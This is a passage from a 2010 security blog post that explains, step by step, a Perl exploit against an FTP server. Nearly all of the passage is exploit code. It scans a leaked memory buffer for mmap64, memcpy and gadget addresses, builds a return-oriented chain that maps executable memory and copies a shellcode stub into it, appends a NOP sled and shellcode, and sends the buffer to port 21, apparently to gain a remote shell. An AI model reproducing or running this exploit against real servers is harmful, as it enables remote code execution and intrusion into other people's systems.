ret

instructions. Next, it will attempt to find the address of

	if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) {
		$addr1 = $k+$v+23;

		$mmap64 = unpack("I", substr($buff, $v+20, 4));
		$mmap64 = $addr1 - (0xffffffff-$mmap64);
		printf "mmap64 is located at %08x\n", $mmap64;
	} else {
		if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) {
			$addr1 = $k+$v+17;

			$mmap64 = unpack("I", substr($buff, $v+14, 4));
			$mmap64 = $addr1 - (0xffffffff-$mmap64);
			printf "mmap64 is located at %08x\n", $mmap64;
		} else {
			print "Could not find mmap64()\n";
			exit;
		}
	}

the mmap64(2) system call. And next,

		if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) {
			$addr1 = $k+$v+21;
			$memcpy = unpack("I", substr($buff, $v+18, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08x\n", $memcpy;
		} else {
		if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) {
			$addr1 = $k+$v+21;

			$memcpy = unpack("I", substr($buff, $v+18, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08x\n", $memcpy;
		} else {
		if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) {
			$addr1 = $k+$v+16;

			$memcpy = unpack("I", substr($buff, $v+13, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08x\n", $memcpy;
		} else {
		if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) {
			$addr1 = $k+$v+15;

			$memcpy = unpack("I", substr($buff, $v+12, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08x\n", $memcpy;

		}	 else {
		if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) {
			$addr1 = $k+$v+18;
			$memcpy = unpack("I", substr($buff, $v+15, 4));
			$memcpy = $addr1 - (0xffffffff-$memcpy);
			printf "memcpy is located at %08x\n", $memcpy;
		} else {

			print "Could not find memcpy()\n";
			exit;	
		}
		}
		}
		}	
	}

A similar code for the memcpy(3) library routine on the server. The next code is another info-leak checking code to discover relative to write(2) addresses that will be used to inject the malicious code.

	if (($v = index $buff, "\xfc\x8b") >= 0) {
		$byte1 = $k+$v;
		printf ("byte1: %08x\n", $byte1);	
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

	if (($v = index $buff, "\xf4") >= 0) {
		$byte2 = $k+$v;
		printf ("byte2: %08x\n", $byte2);
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

	if (($v = index $buff, "\xbf") >= 0) {
		$byte3 = $k+$v;
		printf ("byte3: %08x\n", $byte3);	
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

	if (($v = index $buff, "\x00\x01\x00") >= 0) {
		$byte4 = $k+$v;
		printf ("byte4: %08x\n", $byte4);	
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

	if (($v = index $buff, "\x10") >= 0) {
		$byte5 = $k+$v;
		printf ("byte5: %08x\n", $byte5);	
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

	if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) {
		$byte6 = $k+$v;
		printf ("byte6: %08x\n", $byte6);	
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

	if (($v = index $buff, "\xf3") >= 0) {
		$byte7 = $k+$v;
		printf ("byte7: %08x\n", $byte7);	
	} else {
		print "Could not find a special byte\n";
		exit;	
	}	

	if (($v = index $buff, "\xA4") >= 0) {
		$byte8 = $k+$v;
		printf ("byte8: %08x\n", $byte8);
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

	if (($v = index $buff, "\xeb\xff") >= 0) {
		$byte9 = $k+$v;
		printf ("byte9: %08x\n", $byte9);
	} else {
		print "Could not find a special byte\n";
		exit;	
	}

The next part is a simple comment that explains the shellcode routine…

# shellcode copy routine:
#0100740B     FC             CLD
#0100740C     8BF4           MOV ESI,ESP
#0100740E     BF 00010010    MOV EDI,10000100
#01007413     B9 00020000    MOV ECX,200
#01007418     F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
#			  EB FF 		 JMP +0xFF		
# FC 8B	
# F4 BF
# 00 01 00
# 10
# B9 00 02 00 00
# F3:A4
# EB FF

# El1Te X-Ploit TechNiqUe (C)

	print "Building exploit buffer\n";

And next we have the actual construction of the payload which does exactly what the technique’s comment was saying. It’s also well documented so I won’t say anything additional here.

	$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
			 pack("V", $mmap64). # mmap64()
			 pack("V", $largepopret). # add     esp, 20h; pop; pop
			 "\x00\x00\x00\x10". # mmap start
			 "\x00\x10\x00\x00". # mmap size
			 "\x07\x00\x00\x00". # mmap prot
			 "\x32\x00\x00\x00". # mmap flags
			 "\xff\xff\xff\xff". # mmap fd
			 "\x00\x00\x00\x00". # mmap offset
			 "\x00\x00\x00\x00". # mmap offset			 
			 "\x00\x00\x00\x00".
			 "\x00\x00\x00\x00".
			 "\x00\x00\x00\x00".
			 "\x00\x00\x00\x00".
			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x00\x00\x00\x10". # destination
			 pack("V", $byte1). # origin
			 "\x02\x00\x00\x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x02\x00\x00\x10". # destination
			 pack("V", $byte2). # origin
			 "\x01\x00\x00\x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x03\x00\x00\x10". # destination
			 pack("V", $byte3). # origin
			 "\x01\x00\x00\x00". # number of bytes to copy		 			 

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x04\x00\x00\x10". # destination
			 pack("V", $byte4). # origin
			 "\x03\x00\x00\x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x07\x00\x00\x10". # destination
			 pack("V", $byte5). # origin
			 "\x01\x00\x00\x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x08\x00\x00\x10". # destination
			 pack("V", $byte6). # origin
			 "\x05\x00\x00\x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x0d\x00\x00\x10". # destination
			 pack("V", $byte7). # origin
			 "\x01\x00\x00\x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x0e\x00\x00\x10". # destination
			 pack("V", $byte8). # origin
			 "\x01\x00\x00\x00". # number of bytes to copy

			 pack("V", $memcpy). # memcpy()
			 pack("V", $pop3ret). # pop; pop; pop; retn
			 "\x0f\x00\x00\x10". # destination
			 pack("V", $byte9). # origin
			 "\x02\x00\x00\x00". # number of bytes to copy

			 "\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address			 
			 "\x90" x 100 . $shellcode . "\x90" x 10;	

Now that the payload is ready there’s only one thing left.

	print "Sending exploit buffer!\n";

	my $sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          PeerPort => 21,
           		                  Proto    => 'tcp');				 
	$v = <$sock>;

	print $sock "\x00" x $align . "\xff" . $stack . "\n";

	print "Check your netcat?\n";

	while(<$sock>) {
		print;	
	}			 
}

It will just send the constructed buffer and exploit the bug. :)

Written by xorl

November 15, 2010 at 03:29

Posted in bugs

One Response

Subscribe to comments with RSS.

  1. Excelent post. Thank you for the information :)

    Henri Salo

    August 4, 2011 at 14:49


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s